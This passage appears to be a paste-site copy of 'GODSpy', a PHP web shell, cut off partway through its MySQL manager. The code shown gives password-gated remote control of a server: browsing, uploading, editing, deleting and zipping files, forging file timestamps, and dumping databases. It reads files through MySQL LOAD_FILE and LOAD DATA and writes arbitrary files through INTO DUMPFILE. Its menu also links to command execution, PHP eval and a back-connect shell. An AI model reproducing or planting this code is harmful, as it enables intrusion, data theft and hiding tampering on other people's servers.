· 9 years ago · Jul 15, 2017, 10:32 PM
1<?php
2error_reporting(0);
3@set_magic_quotes_runtime(0);
4@set_time_limit(0);
5@ini_set('max_execution_time',0);
6@ini_set('memory_limit','128M');
7@ini_set('upload_max_filesize','40M');
8define('F_ROOT',str_replace('\\','/',(($cwd = getcwd()) ? $cwd : ($_SERVER['SCRIPT_FILENAME'] ? dirname($_SERVER['SCRIPT_FILENAME']) : '.'))).'/');
9define('S_ROOT',str_replace('\\','/',$_SERVER['DOCUMENT_ROOT']));
10define('IS_WIN',DIRECTORY_SEPARATOR=='\\');
11define('IS_COM',class_exists('COM') ? 1 : 0 );
12define('IS_GPC',get_magic_quotes_gpc());
13define('IS_PHPINFO', isfunc("phpinfo"));
14ob_start();
15$timestamp=time();
16$mtime = explode(' ',microtime());
17$starttime = $mtime[1] + $mtime[0];
18$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
19if(!empty($_SERVER['QUERY_STRING'])){$self.='?'.$_SERVER['QUERY_STRING'];}
20foreach(array('_GET','_POST') as $_request) {
21 foreach($$_request as $_key => $_value) {
22 if($_key{0} != '_') {
23 if(IS_GPC) {$_value=s_array($_value);}
24 $$_key = $_value;
25 }
26 }
27}
28$admin=array('check' => 1, 'pass' => 'ab9131d734b18098d4d95e5d057178cb','cookiepre' => '','cookiedomain' => '','cookiepath' => '/','cookielife' => 86400);
29
30if($charset == 'utf8') {
31header("content-Type: text/html; charset=utf-8");
32} elseif($charset == 'latin1') {
33header("content-Type: text/html; charset=iso-8859-1");
34}
35if($haz == "logout") {
36 scookie('godssid', '', -86400 * 365);
37 p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
38 p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
39 exit;
40}
41if($admin['check']) {
42$password = md5($password);
43 if($doing == 'login') {
44 if($admin['pass'] == $password) {
45 scookie('godssid', $password);
46 p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
47 p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
48 exit;
49 }
50 }
51 if($_COOKIE['godssid']) {
52 if($_COOKIE['godssid'] != $admin['pass']) loginpage();
53 } else loginpage();
54}
55$errmsg='';
56if($haz=='phpinfo') {
57 if(IS_PHPINFO) {phpinfo();die('<h1 style="text-align:center"><a href="'.$self.'">Back to GodSpy</a></h1>');}else{$errmsg='phpinfo() function disabled';}
58}
59if($doing == 'downfile' && $thefile) {
60 if(!@file_exists($thefile)) {
61 $errmsg = 'The file you want to Download not exist';
62 } else {
63 $fileinfo = pathinfo($thefile);
64 header('Content-type: application/x-'.$fileinfo['extension']);
65 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
66 header('Content-Length: '.filesize($thefile));
67 @readfile($thefile);
68 exit;
69 }
70}
71if($doing=='backupmysql' && !$saveasfile) {
72 $lnk=dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
73 $table = array_flip($table);
74 $result = q("SHOW tables");
75 if(!$result) p('<h2>'.mysql_error().'</h2>');
76 $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
77 header('Content-type: application/unknown');
78 header('Content-Disposition: attachment; filename='.$filename);
79 $mysqldata = '';
80 while ($currow = mysql_fetch_array($result)) {
81 if(isset($table[$currow[0]])) {
82 $mysqldata .= sqldumptable($currow[0]);
83 }
84 }
85 mysql_close($lnk);
86 exit;
87}
88if($doing=='mysqldown'){
89 if(!$dbname) {
90 $errmsg = 'Please input dbname';
91 } else {
92 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
93 if(!file_exists($mysqldlfile)) {
94 $errmsg = 'The file you want Downloadable was nonexistent';
95 } else {
96 $result = q("select load_file('$mysqldlfile');");
97 if(!$result){
98 q("DROP TABLE IF EXISTS tmp_god;");
99 q("CREATE TABLE tmp_god (content LONGBLOB NOT NULL);");
100 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_god FIELDS TERMINATED BY '__god_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__god_{$timestamp}_eof__';");
101 $result = q("select content from tmp_god");
102 q("DROP TABLE tmp_god");
103 }
104 $row = @mysql_fetch_array($result);
105 if(!$row) {
106 $errmsg = 'Load file failed '.mysql_error();
107 } else {
108 $fileinfo = pathinfo($mysqldlfile);
109 header('Content-type: application/x-'.$fileinfo['extension']);
110 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
111 header("Accept-Length: ".strlen($row[0]));
112 echo $row[0];
113 exit;
114 }
115 }
116 }
117}
118?>
119<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
120
121<html xmlns="http://www.w3.org/1999/xhtml">
122<head>
123<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
124<meta name="robots" content="noindex, nofollow, noarchive" />
125<title><?php echo $_SERVER['HTTP_HOST'];?> | GODSpy</title>
126<style type="text/css">
127body{margin:0;table-layout:fixed;word-break:break-all;}
128body,td,.input,.bt{font:12px Arial,Tahoma;}
129body,td{line-height:16px;}
130.input{line-height:22px;}
131.input,.area{background:#fff;border:1px solid #666;padding:2px;}
132.area{font:12px Consolas, 'Courier New', Monospace;}
133.bt {border-color:#b0b0b0;background:#3d3d3d;color:#fff;height:22px;}
134a {color:#00f;text-decoration:underline;}
135a:hover{color:#f00;text-decoration:none;}
136.w{color:green;font-weight:bold;}
137.r{color:red;}
138.alt1 td, .alt2 td, .focus td, .head td {border-top:1px solid #fff;border-bottom:1px solid #ddd;padding:5px 10px 5px 5px;}
139.alt1 td{background:#f1f1f1;}
140.alt2 td{background:#f9f9f9;}
141.focus td{background:#ffa;}
142.head td{background:#e9e9e9;font-weight:bold;}
143.head td span{font-weight:normal;}
144form, h2{margin:0;padding:0;}
145h2{height:24px;line-height:24px;font-size:14px;color:#5B686F;}
146ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
147u{text-decoration:none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
148.e,.m {padding:10px;text-align:center;font-weight:bold;}
149.e {background:#FFC;border:1px solid #F30;}
150.m {background:#CF9;border:1px solid #0C3;}
151.nw{white-space:nowrap;}
152</style>
153<script type="text/javascript"><!--
154function CheckAll(form) {
155for(var i=0;i<form.elements.length;i++) {
156 var e = form.elements[i];
157 if(e.name != 'chkall')
158 e.checked = form.chkall.checked;
159 }
160}
161function $(id){return document.getElementById(id);}
162function gohaz(act){
163$('gohaz').haz.value=act;
164$('gohaz').submit();
165}
166//--></script>
167</head>
168<body>
169<table width="100%" border="0" cellpadding="0" cellspacing="0">
170<tr class="head">
171 <td><span style="float:right;"><b>GODSpy Ver: <?php echo date('Y');?></b></span>Your IP: <?php echo $_SERVER['REMOTE_ADDR'] . ' | Server Data: ' .$_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
172
173</tr>
174<tr class="alt1">
175 <td><span style="float:right;">Safe Mode: <?php echo getcfg('safe_mode');?></span>
176 <a href="javascript:gohaz('logout');">Logout</a> | <a href="javascript:gohaz('file');">File Manager</a> |
177 <a href="javascript:gohaz('sqladmin');">MySQL Manager</a> | <a href="javascript:gohaz('sqlf');">MySQL Upload & Download</a> |
178 <a href="javascript:gohaz('sh');">Execute Command</a> | <a href="javascript:gohaz('env');">PHP Variable</a> |
179 <a href="javascript:gohaz('evl');">Eval PHP Code</a><?php if(!IS_WIN) {?> | <a href="javascript:gohaz('bconx');">Back Connect</a><?php }?>
180
181 </td>
182</tr>
183</table>
184<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
185<?php
186formhead(array('name'=>'gohaz'));
187makehide('haz');
188p('</form>');
189$errmsg && m($errmsg,'e');
190!$dir && $dir = '.';
191$nowpath = getPath(F_ROOT, $dir);
192if(substr($dir, -1) != '/') {
193 $dir = $dir.'/';
194}
195$uedir = ue($dir);
196if(!$haz || $haz == 'file') {
197 $dir_writeable = @is_writable($nowpath) ? '<span class="w">Writable</span>' : '<span class="r">Non-writable</span>';
198 if($doing == 'deldir' && $thefile) {
199 if(!file_exists($thefile)) m("$thefile directory does not exist",'e');
200 elseif(deltree($thefile)) m('Directory '.basename($thefile).' delete success');
201 else m('Directory '.basename($thefile).' delete failed','e');
202 }elseif($doing == 'delf' && $thefile) {
203 if(!file_exists($thefile)) m("$thefile does not exist",'e');
204 elseif(@unlink($thefile)) m("The File <em>$thefile</em> has been deleted");
205 else m("File <em>$thefile</em> delete failed",'e');
206 }
207 elseif($newdirname) {
208 $mkdirs = $nowpath.$newdirname;
209 if(file_exists($mkdirs)) m("Directory $newdirname has already exists",'e');
210 elseif(@mkdir($mkdirs,0777)) {@chmod($mkdirs,0777);m("Directory $newdirname created success");}
211 else m("Directory $newdirname creation failed",'e');
212 }
213 elseif($doupfile) {
214 if(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name'])) m('File upload success');
215 else m('File upload failed','e');
216 }
217 elseif($editfilename && $filecontent) {
218 if(sv_file($editfilename, $filecontent)) m("Save file success");
219 else m('Save file failed','e');
220 }
221 elseif($pfile && $newperm) {
222 if(!file_exists($pfile)) m('The original file does not exist','e');
223 else {
224 $newperm = base_convert($newperm,8,10);
225 if(@chmod($pfile,$newperm)) m('Modify file attributes success');
226 else m('Modify file attributes failed','e');
227 }
228 }
229 elseif($oldname && $newfilename) {
230 $nname = $nowpath.$newfilename;
231 if(file_exists($nname) || !file_exists($oldname)) m($nname.' has already existed or original file does not exist','e');
232 else m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : '<i class="r">failed</i>'));
233 }
234 elseif($sname && $tofile) {
235 if(file_exists($tofile) || !file_exists($sname)) m('The goal file has already existed or original file does not exist','e');
236 elseif(@copy($sname,$tofile)) m(basename($tofile).' copied '.basename($tofile).' success');
237 else m(basename($tofile).' copied failed','e');
238 }
239 elseif($curfile && $tarfile) {
240 $time = @filemtime($tarfile);
241 if(!@file_exists($curfile) || !@file_exists($tarfile)) m('The goal file has already existed or original file does not exist','e');
242 elseif(@touch($curfile,$time,$time)) m('Modify file the last modified success');
243 else m('Modify file the last modified failed','e');
244 }
245 elseif($curfile && $year && $month && $day && $hour && $minute && $second) {
246 $time = strtotime("$year-$month-$day $hour:$minute:$second");
247 if(!@file_exists($curfile)) m(basename($curfile).' does not exist','e');
248 elseif(@touch($curfile,$time,$time)) m('Modify file the last modified success');
249 else m('Modify file the last modified failed');
250 }
251 elseif($doing == 'downrar') {
252 if($dl) {
253 $dfiles='';
254 foreach ($dl as $filepath => $value) {
255 $dfiles.=$filepath.',';
256 }
257 $dfiles=substr($dfiles,0,strlen($dfiles)-1);
258 $dl=explode(',',$dfiles);
259 $zip=new PHPZip($dl);
260 $code=$zip->out;
261 header('Content-type: application/octet-stream');
262 header('Accept-Ranges: bytes');
263 header('Accept-Length: '.strlen($code));
264 header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
265 echo $code;
266 exit;
267 } else {
268 m('Please select file(s)','e');
269 }
270 }
271 elseif($doing=='delfiles') {
272 if($dl) {
273 $dfiles='';
274 $succ = $fail = 0;
275 foreach ($dl as $filepath => $value) {
276 if(@unlink($filepath)) {
277 $succ++;
278 } else {
279 $fail++;
280 }
281 }
282 m('Deleting '.count($dl).' files: <span class="w">success '.$succ.'</span> - <span class="r">fail '.$fail.'</span>','e');
283 } else {
284 m('Please select a file(s)','e');
285 }
286 }
287 formhead(array('name'=>'createdir'));
288 makehide('newdirname');
289 makehide('dir',$nowpath);
290 p('</form>');
291 formhead(array('name'=>'fileperm'));
292 makehide('newperm');
293 makehide('pfile');
294 makehide('dir',$nowpath);
295 p('</form>');
296 formhead(array('name'=>'copyfile'));
297 makehide('sname');
298 makehide('tofile');
299 makehide('dir',$nowpath);
300 p('</form>');
301 formhead(array('name'=>'rename'));
302 makehide('oldname');
303 makehide('newfilename');
304 makehide('dir',$nowpath);
305 p('</form>');
306 formhead(array('name'=>'fileopform'));
307 makehide('haz');
308 makehide('opfile');
309 makehide('dir');
310 p('</form>');
311 $free = @disk_free_space($nowpath);
312 !$free && $free = 0;
313 $all = @disk_total_space($nowpath);
314 !$all && $all = 0;
315 $used = $all-$free;
316 $used_percent = @round(100/($all/$free),2);
317 p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
318?>
319
320<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
321 <form action="" method="post" id="godir" name="godir">
322 <tr>
323 <td class="nw">Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
324 <td width="100%"><input name="view_writable" value="0" type="hidden" />
325 <input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;" /></td>
326 <td class="nw"><input class="bt" value="GO" type="submit" /></td>
327 </tr>
328
329 </form>
330</table>
331<script type="text/javascript">
332okdir = 'Are you sure to delete this directory?\n\nIf non-empty directory, will be delete all the files.';
333okfil = 'Are you sure to delete this file?';
334function createdir(){
335 var newdirname;
336 newdirname = prompt('Please input the directory name:', '');
337 if(!newdirname) return;
338 $('createdir').newdirname.value=newdirname;
339 $('createdir').submit();
340}
341function fileperm(pfile){
342 var newperm;
343 newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
344 if(!newperm) return;
345 $('fileperm').newperm.value=newperm;
346 $('fileperm').pfile.value=pfile;
347 $('fileperm').submit();
348}
349function copyfile(sname){
350 var tofile;
351 tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
352 if(!tofile) return;
353 $('copyfile').tofile.value=tofile;
354 $('copyfile').sname.value=sname;
355 $('copyfile').submit();
356}
357function rename(oldname){
358 var newfilename;
359 newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
360 if(!newfilename) return;
361 $('rename').newfilename.value=newfilename;
362 $('rename').oldname.value=oldname;
363 $('rename').submit();
364}
365function dofile(doing,thefile,m) {
366 if(m && !confirm(m)) {return;}
367 $('filelist').doing.value=doing;
368 if(thefile){
369 $('filelist').thefile.value=thefile;
370 }
371 $('filelist').submit();
372}
373function createfile(nowpath){
374 var filename;
375 filename = prompt('Please input the file name:', '');
376 if(!filename) return;
377 opfile('editfile',nowpath + filename,nowpath);
378}
379function opfile(haz,opfile,dir){
380 $('fileopform').haz.value=haz;
381 $('fileopform').opfile.value=opfile;
382 $('fileopform').dir.value=dir;
383 $('fileopform').submit();
384}
385function godir(dir,view_writable){
386 if(view_writable) {
387 $('godir').view_writable.value=1;
388 }
389 $('godir').dir.value=dir;
390 $('godir').submit();
391}
392</script>
393<?php
394 tbhead();
395 p('<form action="'.$self.'" method="post" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
396 p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
397 p('<a href="javascript:godir(\''.S_ROOT.'\');">WebRoot</a>');
398 if($view_writable) {
399 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
400 } else {
401 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
402 }
403 p(' | <a href="javascript:createdir();">Make Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Make File</a>');
404 if(IS_WIN && IS_COM) {
405 $obj = new COM('scripting.filesystemobject');
406 if($obj && is_object($obj)) {
407 $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
408 foreach($obj->Drives as $drive) {
409 if($drive->DriveType == 2) {
410 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).' Free:'.sizecount($drive->FreeSpace).' Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
411 } else {
412 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
413 }
414 }
415 }
416 }
417 p('</td></tr></form>');
418 p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / User</td><td width="22%">Action</td></tr>');
419 $dirdata=array();
420 $filedata=array();
421 if($view_writable) {
422 $dirdata = GetList($nowpath);
423 } else {
424 $dirs=@opendir($dir);
425 while ($file=@readdir($dirs)) {
426 $filepath=$nowpath.$file;
427 if(@is_dir($filepath)){
428 $dirdb['filename']=$file;
429 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
430 $dirdb['dirchmod']=getChmod($filepath);
431 $dirdb['dirperm']=getPerms($filepath);
432 $dirdb['fileowner']=getUser($filepath);
433 $dirdb['dirlink']=$nowpath;
434 $dirdb['server_link']=$filepath;
435 $dirdb['client_link']=ue($filepath);
436 $dirdata[]=$dirdb;
437 } else {
438 $filedb['filename']=$file;
439 $filedb['size']=sizecount(@filesize($filepath));
440 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
441 $filedb['filechmod']=getChmod($filepath);
442 $filedb['fileperm']=getPerms($filepath);
443 $filedb['fileowner']=getUser($filepath);
444 $filedb['dirlink']=$nowpath;
445 $filedb['server_link']=$filepath;
446 $filedb['client_link']=ue($filepath);
447 $filedata[]=$filedb;
448 }
449 }
450 unset($dirdb);
451 unset($filedb);
452 @closedir($dirs);
453 }
454 @sort($dirdata);
455 @sort($filedata);
456 $dir_i = '0';
457 foreach($dirdata as $key => $dirdb){
458 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
459 $tbg = bg();
460 p('<tr class="'.$tbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$tbg.'\';">');
461 p('<td width="2%" class="nw"> </td>');
462 p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
463 p('<td class="nw">'.$dirdb['mtime'].'</td>');
464 p('<td class="nw">--</td>');
465 p('<td class="nw">');
466 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].' / '.$dirdb['dirperm'].'</a>');
467 p($dirdb['fileowner'].'</td>');
468 p('<td class="nw"><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',okdir)">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
469 p('</tr>');
470 $dir_i++;
471 } else {
472 if($dirdb['filename']=='..') {
473 p('<tr class="'.bg().'">');
474 p('<td align="center"><font face="Wingdings 3" size=4>UP</font></td><td class="nw" colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
475 p('</tr>');
476 }
477 }
478 }
479 p('<tr><td style="background:#555;height:3px;" colspan="6"> </td></tr>');
480 p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
481 makehide('haz','file');
482 makehide('thefile');
483 makehide('doing');
484 makehide('dir',$nowpath);
485 $file_i = '0';
486 foreach($filedata as $key => $filedb){
487 if($filedb['filename']!='..' && $filedb['filename']!='.') {
488 $fileurl = str_replace(S_ROOT,'',$filedb['server_link']);
489 $thisbg = bg();
490 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
491 p('<td width="2%" class="nw"><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']" /></td>');
492 p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
493 p('<td class="nw">'.$filedb['mtime'].'</td>');
494 p('<td class="nw">'.$filedb['size'].'</td>');
495 p('<td class="nw">');
496 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].' / '.$filedb['fileperm'].'</a>');
497 p($filedb['fileowner'].'</td>');
498 p('<td class="nw">');
499 p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
500 p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
501 p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
502 p('<a href="javascript:dofile(\'delf\',\''.$filedb['server_link'].'\', okfil)" title="Delete">Del</a> | <a href="javascript:rename(\''.$filedb['server_link'].'\');" title="Rename">Ren</a> | ');
503 p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
504 p('</td></tr>');
505 $file_i++;
506 }
507 }
508 p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
509 p('</form></table>');
510}
511elseif($haz == 'sqlf') {
512 if($doing=="mysqlupload"){
513 $file = $_FILES['uploadfile'];
514 $filename = $file['tmp_name'];
515 if(file_exists($savepath)) {
516 m('The goal file has already existed');
517 } else {
518 if(!$filename) {
519 m('Please choose a file');
520 } else {
521 $fp=@fopen($filename,'r');
522 $contents=@fread($fp, filesize($filename));
523 @fclose($fp);
524 $contents = bin2hex($contents);
525 if(!$upname) $upname = $file['name'];
526 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
527 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
528 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
529 }
530 }
531 }
532?>
533
534<script type="text/javascript">
535function mysqlfile(doing){
536 if(!doing) return;
537 $('doing').value=doing;
538 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
539 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
540 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
541 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
542 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
543 $('mysqlfile').charset.value=$('dbinfo').charset.value;
544 $('mysqlfile').submit();
545}
546</script>
547<?php
548 !$dbhost && $dbhost = 'localhost';
549 !$dbuser && $dbuser = 'root';
550 !$dbport && $dbport = '3306';
551 $charsets = array(''=>'Default','utf8'=>'UTF-8', 'latin1'=>'Latin1');
552 formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
553 makehide('haz','sqlf');
554 p('<p>');
555 p('DBHost:');
556 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
557 p(':');
558 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
559 p('DBUser:');
560 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
561 p('DBPass:');
562 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
563 p('DBName:');
564 makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
565 p('DBCharset:');
566 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
567 p("</p>\n</form>");
568 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" id="mysqlfile">');
569 p('<h2>Upload file</h2>');
570 p('<p><b>This operation the DB user must has FILE privilege</b></p>');
571 p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
572 p('<h2>Download file</h2>');
573 p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
574 makehide('dbhost');
575 makehide('dbport');
576 makehide('dbuser');
577 makehide('dbpass');
578 makehide('dbname');
579 makehide('charset');
580 makehide('doing');
581 makehide('haz','sqlf');
582 p('</form>');
583}
584elseif($haz=='sqladmin') {
585 !$dbhost && $dbhost = 'localhost';
586 !$dbuser && $dbuser = 'root';
587 !$dbport && $dbport = '3306';
588 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
589 if(isset($dbhost)){
590 $dbform .= '<input type="hidden" id="dbhost" name="dbhost" value="'.$dbhost.'" />'."\n";
591 }
592 if(isset($dbuser)) {
593 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
594 }
595 if(isset($dbpass)) {
596 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
597 }
598 if(isset($dbport)) {
599 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
600 }
601 if(isset($dbname)) {
602 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
603 }
604 if(isset($charset)) {
605 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
606 }
607 if($doing == 'backupmysql' && $saveasfile) {
608 if(!$table) {
609 m('Please choose the table','e');
610 } else {
611 $lnk=dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
612 $table = array_flip($table);
613 $fp = @fopen($path,'w');
614 if($fp) {
615 $result = q('SHOW tables');
616 if(!$result) p('<h2>'.mysql_error().'</h2>');
617 $mysqldata = '';
618 while($currow = mysql_fetch_array($result)) {
619 if(isset($table[$currow[0]])) {
620 sqldumptable($currow[0], $fp);
621 }
622 }
623 fclose($fp);
624 $fileurl = str_replace(F_ROOT,'',$path);
625 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
626 mysql_close($lnk);
627 } else {
628 m('Backup failed','e');
629 }
630 }
631 }
632 if($insert && $insertsql) {
633 $keystr = $valstr = $tmp = '';
634 foreach($insertsql as $key => $val) {
635 if($val) {
636 $keystr .= $tmp.$key;
637 $valstr .= $tmp."'".addslashes($val)."'";
638 $tmp = ',';
639 }
640 }
641 if($keystr && $valstr) {
642 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
643 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
644 }
645 }
646 if($update && $insertsql && $base64) {
647 $valstr = $tmp = '';
648 foreach($insertsql as $key => $val) {
649 $valstr .= $tmp.$key."='".addslashes($val)."'";
650 $tmp = ',';
651 }
652 if($valstr) {
653 $where = base64_decode($base64);
654 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
655 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
656 }
657 }
658 if($doing == 'del' && $base64) {
659 $where = base64_decode($base64);
660 $delete_sql = "DELETE FROM $tablename WHERE $where";
661 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
662 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
663 }
664 if($tablename && $doing == 'drop') {
665 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
666 if(q("DROP TABLE $tablename")) {
667 m('Drop table of success');
668 $tablename = '';
669 } else {
670 m(mysql_error());
671 }
672 }
673 $charsets = array(''=>'Default','utf8'=>'UTF-8', 'latin1'=>'Latin1');
674 formhead(array('title'=>'MYSQL Manager'));
675 makehide('haz','sqladmin');
676 p('<p>');
677 p('DBHost:');
678 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
679 p(':');
680 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
681 p('DBUser:');
682 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
683 p('DBPass:');
684 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
685 p('DBCharset:');
686 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
687 makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
688 p("</p>\n</form>");
689?>
690
691<script type="text/javascript">
692function editrecord(haz, base64, tablename){
693 if(haz == 'del') {
694 if(!confirm('Is or isn\'t deletion record?')) return;
695 }
696 $('recordlist').doing.value=haz;
697 $('recordlist').base64.value=base64;
698 $('recordlist').tablename.value=tablename;
699 $('recordlist').submit();
700}
701function moddbname(dbname) {
702 if(!dbname) return;
703 $('setdbname').dbname.value=dbname;
704 $('setdbname').submit();
705}
706function settable(tablename,doing,page) {
707 if(!tablename) return;
708 if(doing) {
709 $('settable').doing.value=doing;
710 }
711 if(page) {
712 $('settable').page.value=page;
713 }
714 $('settable').tablename.value=tablename;
715 $('settable').submit();
716}
717</script>
718<?php
719formhead(array('name'=>'recordlist'));
720makehide('doing');
721makehide('haz','sqladmin');
722makehide('base64');
723makehide('tablename');
724p($dbform);
725p('</form>');
726formhead(array('name'=>'setdbname'));
727makehide('haz','sqladmin');
728p($dbform);
729if(!$dbname) {
730 makehide('dbname');
731}
732p('</form>');
733formhead(array('name'=>'settable'));
734makehide('haz','sqladmin');
735p($dbform);
736makehide('tablename');
737makehide('page',$page);
738makehide('doing');
739p('</form>');
740$cachetables = array();
741$pagenum = 30;
742$page = intval($page);
743if($page) {
744 $start_limit = ($page - 1) * $pagenum;
745 } else {
746 $start_limit = 0;
747 $page = 1;
748}
749if(isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
750 $lnk=dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
751 $mysqlver = mysql_get_server_info();
